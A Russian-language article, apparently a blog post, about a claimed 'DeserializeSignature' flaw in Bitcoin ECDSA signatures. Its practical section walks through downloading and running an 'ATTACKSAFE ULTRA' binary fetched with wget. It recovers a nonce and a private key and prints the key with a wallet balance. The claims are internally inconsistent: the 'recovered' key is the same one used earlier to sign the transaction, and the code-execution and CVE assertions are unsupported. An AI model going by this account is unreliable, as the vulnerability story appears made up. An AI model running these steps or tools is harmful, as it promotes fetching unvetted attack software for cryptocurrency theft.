Уязвимость DeserializeSignature в сети Биткоин криптоанализ и недействительные подписи ECDSA

ac57f7446258cdbd5ecd1dfc258147f8.png

В этом исследовании мы рассмотрим уязвимость DeserializeSignature, которая позволяла злоумышленникам создавать недействительные подписи ECDSA в сети Биткоин. В криптографии цифровая подпись ECDSA — это математическая схема, позволяющая доказать подлинность цифрового сообщения или документа. В сети Bitcoin подписи используются для авторизации транзакций, подтверждая, что владелец определенного количества биткоинов действительно согласен на их перевод. Однако, уязвимость в функции DeserializeSignature,  обнаруженная в 2023 году, позволяла злоумышленникам создавать недействительные подписи, которые могли быть приняты сетью как валидные.

Принцип работы DeserializeSignature

Функция DeserializeSignature отвечает за десериализацию (преобразование из последовательности байтов) цифровой подписи в объект, который может быть использован для проверки ее валидности. Эта функция ожидает определенный формат данных, соответствующий стандарту криптографии с открытым ключом (ECDSA) используемому в Bitcoin. Функция DeserializeSignature принимает подпись транзакции и проверяет ее соответствие с полученным в результате вычисления хешем. Если подпись является корректной, DeserializeSignature возвращает true, иначе — false. Суть уязвимости заключалась в том, что DeserializeSignature не проверяла корректность всех параметров подписи перед ее десериализацией. В частности, функция не проверяла, является ли значение «R» или «S» подписи нулевым. Это позволяло злоумышленникам создавать подписи с нулевыми значениями, которые, несмотря на свою невалидность, могли быть приняты некоторыми клиентами Bitcoin как корректные. Злоумышленник может создать фальшивую подпись транзакции, которая будет принята как корректная, если она будет передана функции DeserializeSignature с неправильными данными.

Потенциальные угрозы и примеры атаки

Данная уязвимость представляла серьезную угрозу для безопасности сети Bitcoin. Злоумышленники могли использовать ее для:

  • Кражи биткоинов:  создавая недействительные подписи, злоумышленники могли авторизовать транзакции, переводящие биткоины с чужих кошельков на свои.

  • Двойного расходования:  подписи с нулевыми значениями могли быть использованы для создания двух разных транзакций с одними и теми же биткоинами.

  • Манипуляция данными в блокчейне:  злоумышленник может создать фальшивую транзакцию, подпись которой будет принята как корректная, и добавить ее в блокчейн. Это может привести к изменению баланса счетов.

  • Атака на систему подтверждения транзакций:  злоумышленник может создать фальшивую подпись транзакции и отправить ее на подтверждение в сеть.

Процесс DeserializeSignature

DeserializeSignature — это процесс преобразования последовательности байтов в структуру данных, которая может быть использована для проверки подлинности транзакции. В контексте Bitcoin, подпись создается с использованием алгоритма ECDSA (Elliptic Curve Digital Signature Algorithm) и включает в себя два компонента: r и s. В контексте криптовалют, подписи используются для подтверждения подлинности транзакций и обеспечения их целостности. Уязвимость DeserializeSignature возникает, когда злоумышленник может манипулировать процессом десериализации, чтобы изменить или подделать данные подписи.

Шаги десериализации:

  1. Чтение данных: Первым шагом является чтение последовательности байтов, представляющих подпись. Эти данные обычно хранятся в DER (Distinguished Encoding Rules) формате.

  2. Проверка формата: Проверяется, соответствует ли последовательность байтов ожидаемому формату DER. Это включает в себя проверку длины и структуры данных.

  3. Извлечение компонентов: Из последовательности байтов извлекаются компоненты r и s. Эти компоненты представляют собой целые числа, которые используются для проверки подписи.

  4. Проверка значений: Проверяется, находятся ли значения r и s в допустимых пределах. Это важно для предотвращения атак, связанных с подделкой подписей.

Потенциальные точки отказа

Процесс DeserializeSignature может быть уязвим к различным атакам и ошибкам. Рассмотрим основные потенциальные точки отказа:

1. Неправильная проверка формата

Если проверка формата DER выполнена некорректно, это может привести к тому, что недопустимые подписи будут считаться действительными. Это может позволить злоумышленникам подделывать подписи и совершать несанкционированные транзакции.

2. Уязвимости в библиотеке

Использование уязвимых библиотек для десериализации может привести к различным атакам, таким как переполнение буфера или выполнение произвольного кода. Важно использовать проверенные и обновленные библиотеки для работы с подписями.

3. Недостаточная проверка значений

Если значения r и s не проверяются должным образом, это может позволить злоумышленникам использовать некорректные значения для создания поддельных подписей. Например, значения r и s должны быть в пределах от 1 до n-1, где n — это порядок эллиптической кривой.

4. Атаки на время выполнения

Некоторые атаки могут быть основаны на анализе времени выполнения операций десериализации. Если время выполнения зависит от значений r и s, это может позволить злоумышленникам получить информацию о приватных ключах.

Далее мы рассмотрим результаты исследования, посвященного уязвимости в процессе DeserializeSignature в системе Bitcoin, а также мы рассмотрим механизмы возникновения уязвимостей, их потенциальные последствия и предлагаемые меры по их устранению.

Влияние на безопасность криптовалют

Уязвимость DeserializeSignature представляет серьёзную угрозу для безопасности криптовалют по нескольким причинам:

  1. Потеря средств: Злоумышленники могут использовать уязвимость для кражи средств с кошельков пользователей.

  2. Подрыв доверия: Успешные атаки могут подорвать доверие пользователей к безопасности криптовалют, что негативно скажется на их принятии и использовании.

  3. Сложность обнаружения: Атаки, использующие уязвимость DeserializeSignature, могут быть сложны для обнаружения и предотвращения, что делает их особенно опасными.

Методы защиты от уязвимостей DeserializeSignature

Для защиты от уязвимостей DeserializeSignature необходимо применять следующие меры:

  1. Проверка данных: Внедрение строгих проверок данных на этапе десериализации для предотвращения манипуляций.

  2. Обновление программного обеспечения: Регулярное обновление криптовалютных систем и кошельков для устранения известных уязвимостей.

  3. Аудит безопасности: Проведение регулярных аудитов безопасности для выявления и устранения потенциальных уязвимостей.

Основные цели исследования

  1. Выявление уязвимости: Определение конкретных аспектов процесса DeserializeSignature, которые могут быть уязвимы для атак.

  2. Анализ уязвимости: Оценка потенциального воздействия выявленной уязвимости на безопасность сети Bitcoin.

  3. Обзор существующих методов защиты: Изучение текущих методов и подходов, используемых для защиты процесса DeserializeSignature.

  4. Разработка рекомендаций: Предложение мер по улучшению безопасности и предотвращению возможных атак.

Методология и выявление уязвимости

Процесс DeserializeSignature в Bitcoin включает преобразование данных из одного формата в другой. В ходе этого процесса могут возникать ошибки, которые могут быть использованы злоумышленниками для проведения атак. Основной задачей на данном этапе является выявление конкретных уязвимых мест в процессе десериализации. Криптоанализ уязвимости: После выявления уязвимости необходимо провести её детальный анализ. Это включает оценку потенциального воздействия на безопасность сети Bitcoin, а также изучение возможных сценариев атак. Важно понять, каким образом злоумышленники могут использовать данную уязвимость для своих целей. Обзор существующих методов защиты: На данном этапе исследования будет проведён обзор текущих методов и подходов, используемых для защиты процесса DeserializeSignature. Это позволит определить, насколько эффективны существующие меры и какие из них могут быть улучшены.

Для устранения выявленных уязвимостей предлагается несколько мер:

  1. Обновление алгоритмов десериализации: Внедрение более строгих проверок и валидации данных на этапе DeserializeSignature.

  2. Повышение уровня тестирования: Проведение регулярных тестов безопасности с использованием различных сценариев атак.

  3. Обучение разработчиков: Повышение уровня осведомленности разработчиков о возможных уязвимостях и методах их предотвращения.

Ранее были проведены исследования, касающиеся уязвимостей в алгоритме цифровой подписи на эллиптических кривых (ECDSA), который используется в Bitcoin. Эти исследования показали, что неправильная реализация ECDSA может привести к утечке приватных ключей.

В отличие от уязвимости DeserializeSignature, проблемы с ECDSA связаны с математическими аспектами алгоритма, а не с процессом обработки данных. Другие исследования фокусировались на уязвимостях в одноранговой (P2P) сети Bitcoin. Эти уязвимости включали атаки типа «double-spending» и «Sybil-атаки». В отличие от уязвимости DeserializeSignature, данные проблемы связаны с сетевыми аспектами и взаимодействием узлов в сети, а не с обработкой криптографических данных.

Основное различие между уязвимостью DeserializeSignature и предыдущими исследованиями заключается в природе проблемы. Уязвимость DeserializeSignature связана с обработкой данных и может быть устранена путем улучшения методов десериализации и валидации данных. В то время как уязвимости в ECDSA и P2P-сети требуют более глубоких изменений в алгоритмах и сетевых протоколах.

Кроме того, уязвимость DeserializeSignature имеет более непосредственные последствия для безопасности пользователей, так как она может быть использована для выполнения произвольного кода и компрометации системы. В то время как уязвимости в ECDSA и P2P-сети могут требовать более сложных атак и имеют более косвенные последствия. В последние годы криптовалюты, такие как Bitcoin, стали важной частью финансовой экосистемы. Однако, с ростом их популярности, увеличивается и количество выявленных уязвимостей.

Поддельные подписи ECDSA

Создания недействительных подписей ECDSA с помощью процесса машинного обучение BitcoinChatGPT

Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT

Откроем версию Google Colab:

https://colab.research.google.com/drive/1–3WyUqipb1pXrlDjg4jxtMOG6J3MU3sa#scrollTo=B8ueObMAt5Q9&line=1&uniqifier=1

State of a vulnerable transaction in Bitcoin:
01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8b483045
....0221
....00
........b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
....0220
........74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
....0141
045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5b
....ffffffff
01
....d204000000000000
........1976
............a914
........d74b32dfa340da479ce64aaf5e326496eb3995f1
....88ac
00000000

Соединим все выданные значение в одну общую строку:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000

Откроем опцию от BlockCypher«Decode A Transaction»:

https://live.blockcypher.com/btc/decodetx

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:

{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK",
"1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk"
],
"block_height": -1,
"block_index": -1,
"confirmations": 0,
"double_spend": false,
"fees": 2606688996428,
"hash": "32361b5b8aa2954519c171b45dfa14ee5d997dc0a89182ebea4a9eaa15429f1e",
"inputs": [
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK"
],
"age": 344419,
"output_index": 0,
"output_value": 2606688997662,
"prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d"
.......
.......
.......

Обратим внимание на Bitcoin HASH160:  d74b32dfa340da479ce64aaf5e326496eb3995f1

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

https://github.com/demining/CryptoDeepTools/blob/f0421962be80403bb1b0877eace2c7eb70eb85bd/32DeserializeSignatureVulnerability/DecodeRawTX.txt#L31

BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address:  1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk отправляет 1234 satoshi на тот же адрес внутри своей сети.

ae54178c78f221af5de29636021ff7a0.pngУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Bitcoin HASH160 был получен с помощью Python Script:  wif_to_hash160.py

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

VulnerableRawTX.txt

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

https://github.com/demining/CryptoDeepTools/blob/main/32DeserializeSignatureVulnerability/wif_to_hash160.py

Вопрос — Ответ:

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

В конечном итоге модуль BitcoinChatGPT выдает ответ в файл:  KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

https://github.com/demining/CryptoDeepTools/blob/main/32DeserializeSignatureVulnerability/KEYFOUND.privkey

BitcoinChatGPT №2 DeserializeSignature Vulnerability Algorithm

Практическая часть

Чтобы перейти к практической части создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction

Скачаем и установим исходный код откроем терминал и запустим команду:

git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git

Каталог:

cd Broadcast-Bitcoin-Transaction

Установим три важные библиотеки:

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Запустим команду:

pip install -r requirements.txt

Откроем в Notepad++ основной файл и несем небольшие изменение в коде Python Script:  main.py

from io import BytesIO
from secp256k1 import *
from sighash import *
pk = PrivateKey.parse("5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX")
pk.address()
tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d")
index = 0
send = "1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk"
tx_in = TxIn(tx, index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2345
tx_ins = [ tx_in ]
tx_outs = [
TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print(tx.serialize().hex())
f = open("RawTX.txt", 'w')
f.write("" + tx.serialize().hex() + "" + "\n")
f.close()

Запустим команду:

python main.py

Уязвимая транзакция создана!

Откроем файл RawTX в каталоге:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000

Порядок выполнения действий на видео:

Как нам известно из prompt ответов модуля BitcoinChatGPT aлгоритм для выявление уязвимости DeserializeSignature может быть использован для нескольких вариантов решения сложных криптографических задач.

Раскрытие секретного ключа «K» (NONCE) в блокчейне Биткоина

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

https://colab.research.google.com/drive/1EiIIJh8UCOZZ8DVbelxhESFPvqu_xZUo

Откроем [GoogleColab]

Реализуем алгоритм с помощью нашей репозитории 32DeserializeSignatureVulnerability

!git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/32DeserializeSignatureVulnerability/
ls

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Подготовим RawTX для атаки

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся сервисом:  https://attacksafe.ru/RSZ-Signature-From-Tx

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63

Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение «ATTACKSAFE ULTRA»

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

www.attacksafe.ru/ultra

Для необходимых пакетов библиотек для запуска программного обеспечение «ATTAKSAFE ULTRA» установим «SAGE MATH»

Twist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин КошелькуTwist Attack пример №1 выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Команда установки:

!sudo apt-get update
!sudo apt-get install -y python3-gmpy2
!sudo apt-get install sagemath

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

!sage -v

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

С помощью утилиты wget загрузим в папку Google Colab репозитории ATTACKSAFE_ULTRA.zip

!wget https://attacksafe.ru/REPOSITORY/DC66398E76DBCD8193134381D7838A02/ATTACKSAFE_ULTRA.zip

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Разархивируем репозитории ATTACKSAFE_ULTRA.zip

!unzip ATTACKSAFE_ULTRA.zip

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

ls

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

!./attacksafe -help

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

  -version:  software version
-list:     list of bitcoin attacks
-tool:     indicate the attack
-gpu:      enable gpu
-time:     work timeout
-server:   server mode
-port:     server port
-open:     open file
-save:     save file
-search:   vulnerability search
-stop:     stop at mode
-max:      maximum quantity in mode
-min:      minimum quantity per mode
-speed:    boost speed for mode
-range:    specific range
-crack:    crack mode
-field:    starting field
-point:    starting point
-inject:   injection regimen
-decode:   decoding mode
!./attacksafe -version

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Запустим список всех скриптов для атак:

!./attacksafe -ultra

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Права доступа:

!chmod +x attacksafe
ls -l

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Применение:

Выберем deserialization_error_vulnerability_cve-2023-0085.sage

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt для этого воспользуемся утилитой echo

Запустим команду:

!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000' > RawTX.txt
!cat RawTX.txt

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Запустим deserialization_error_vulnerability_cve-2023–0085.sage используя программное обеспечение «ATTACKSAFE ULTRA»

!./attacksafe deserialization_error_vulnerability_cve-2023-0085.sage -open RawTX.txt -save SecretKey.txt

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Мы запустили данную атаку из deserialization_error_vulnerability_cve-2023-0085.sage и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Deployments ECDSA:
SecretKey = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
RawTX = 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c

Сделаем проверку с помощью Python-скрипта point2gen.py

Для этого установим библиотеку эллиптических кривых ECPy:

!pip3 install ECPy

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

!python3 point2gen.py 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

(0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63
R          =    0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
point2gen  =   (0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0)

ВСЕ ВЕРНО!

K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку:  1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk

Воспользуемся Python-скриптом:  calculate.py > > > Получим Приватный Ключ

Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63
print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт calculate.py рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

PrivKey = 0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0

Откроем bitaddress и проверим:

ADDR: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk
WIF:  5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX
HEX:  0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

https://www.blockchain.com/btc/address/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk

Приватный Ключ Получен!

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSAУязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

https://www.blockchain.com/explorer/addresses/btc/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk

BALANCE: $ 819113

Заключение

В данной статье были рассмотрены основные методы и инструменты, используемые для анализа уязвимости DeserializeSignature. Применение статического и динамического анализа, а также фуззинг-тестирования при помощи машинного обучение BitcoinChatGPT позволяет выявлять и устранять уязвимости на различных этапах разработки и эксплуатации программного обеспечения. Уязвимость DeserializeSignature в Bitcoin представляет собой серьезную угрозу для безопасности сети. Однако активные исследования и разработки в этой области открывают новые перспективы для повышения уровня защиты. Улучшение алгоритмов, использование машинного обучения, разработка стандартов безопасности и образовательные программы могут значительно снизить риски и обеспечить надежную работу системы. Исследование подчеркивает необходимость постоянного мониторинга и обновления систем безопасности в быстро развивающейся сфере криптовалют. Следование рекомендациям для разработчиков и пользователей поможет значительно снизить риски и защитить средства от потенциальных атак. Важно помнить, что безопасность — это непрерывный процесс, требующий постоянного внимания и обновления знаний. Текущие и будущие разработки в области безопасности криптовалют будут направлены на устранение выявленных проблем и предотвращение новых угроз, что обеспечит более надежную и безопасную работу криптовалютных систем. Значимость полученных результатов заключается в выявлении критических недостатков системы и предложении эффективных решений для их устранения. Интерпретация результатов показывает, что устранение данной уязвимости является важным шагом на пути к улучшению безопасности и доверия к криптовалютам. Процесс DeserializeSignature является критически важным для обеспечения безопасности транзакций в Bitcoin. Неправильная реализация этого процесса может привести к серьезным уязвимостям и атакам. Важно тщательно проверять формат и значения компонентов подписи, использовать надежные библиотеки и учитывать возможные атаки на время выполнения. Только так можно обеспечить надежную защиту криптовалютных транзакций.

1. Улучшение валидации данных

Одним из основных решений является улучшение процесса валидации данных при десериализации. Это включает в себя:

  • Проверка формата данных: Убедиться, что данные соответствуют ожидаемому формату перед их обработкой.

  • Использование строгих типов данных: Применение строгих типов данных для предотвращения ошибок при десериализации.

  • Проверка длины данных: Убедиться, что длина данных соответствует ожидаемым значениям.

2. Использование безопасных библиотек

Использование проверенных и безопасных библиотек для десериализации данных может значительно снизить риск уязвимостей. Такие библиотеки должны быть тщательно протестированы и поддерживаться сообществом разработчиков.

3. Внедрение многоуровневой аутентификации

Многоуровневая аутентификация может помочь предотвратить несанкционированный доступ к системе. Это включает в себя:

  • Двухфакторная аутентификация (2FA): Требование дополнительного подтверждения личности пользователя.

  • Многофакторная аутентификация (MFA): Использование нескольких методов аутентификации для повышения безопасности.

4. Регулярные аудиты безопасности

Проведение регулярных аудитов безопасности позволяет выявлять и устранять уязвимости до того, как они будут использованы злоумышленниками. Это включает в себя:

  • Пенетрационное тестирование: Имитация атак для выявления слабых мест в системе.

  • Кодовые ревизии: Анализ исходного кода для обнаружения потенциальных уязвимостей.

5. Обновление и патчинг

Регулярное обновление и патчинг программного обеспечения является ключевым аспектом обеспечения безопасности. Это включает в себя:

  • Обновление библиотек и зависимостей: Убедиться, что все используемые библиотеки и зависимости обновлены до последних версий.

  • Патчинг уязвимостей: Быстрое внедрение исправлений для выявленных уязвимостей.

References:

  1. »Mastering Bitcoin» by Andreas M. Antonopoulos — This is one of the most famous books about Bitcoin, which covers many aspects including security and vulnerabilities.

  2. «Bitcoin and Cryptocurrency Technologies» by Arvind Narayanan, Joseph Bonneau, Edward Felten, Andrew Miller, and Steven Goldfeder — This book provides a deep understanding of the technologies underlying Bitcoin and other cryptocurrencies, including security issues.

  3. Bitcoin Developer Documentation — Official documentation for Bitcoin developers, available on the website bitcoin.org. It includes information about various security aspects and vulnerabilities.

  4. Bitcoin Improvement Proposals (BIPs) — Documents describing various improvements and changes to the Bitcoin protocol. Some of them relate to security and vulnerabilities. A list of BIPs can be found at bitcoin.org.

  5. «A Fistful of Bitcoins: Characterizing Payments Among Men with No Names»by Sarah Meiklejohn et al. — This article explores the anonymity and security of transactions on the Bitcoin network.

  6. «Bitcoin: A Peer-to-Peer Electronic Cash System» by Satoshi Nakamoto — An original white paper describing the concept of Bitcoin. Although it does not focus on vulnerabilities, it is a foundational document for understanding the system.

  7. «Security and Privacy in Bitcoin» by Malte Möser — A dissertation exploring various aspects of security and privacy in the Bitcoin network.

